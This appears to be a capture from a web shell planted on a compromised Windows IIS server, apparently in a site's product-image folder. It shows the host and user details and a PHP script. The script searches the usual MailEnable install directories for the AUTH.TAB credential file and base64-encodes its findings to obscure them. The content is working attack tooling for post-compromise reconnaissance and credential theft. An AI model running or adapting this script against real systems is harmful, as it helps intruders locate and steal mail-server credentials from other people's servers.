System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

<?php
$bases = [
    'C:\Program Files (x86)\Mail Enable',
    'C:\Program Files\Mail Enable',
    'C:\Mail Enable',
    'D:\Mail Enable'
];
$subdirs = ['Config', 'Post Offices', 'Queues', 'Bin'];
$output = "--- MailEnable Path Brute ---\n";

foreach ($bases as $base) {
    foreach ($subdirs as $sub) {
        $path = $base . DIRECTORY_SEPARATOR . $sub;
        if (file_exists($path)) {
            $output .= "[+] FOUND: $path\n";
            // If Config exists, try to read AUTH.TAB
            if ($sub == 'Config') {
                $auth = $path . DIRECTORY_SEPARATOR . 'AUTH.TAB';
                if (file_exists($auth)) {
                    $output .= "    [!!!] AUTH.TAB FOUND at $auth\n";
                }
            }
        }
    }
}

echo base64_encode($output);
?>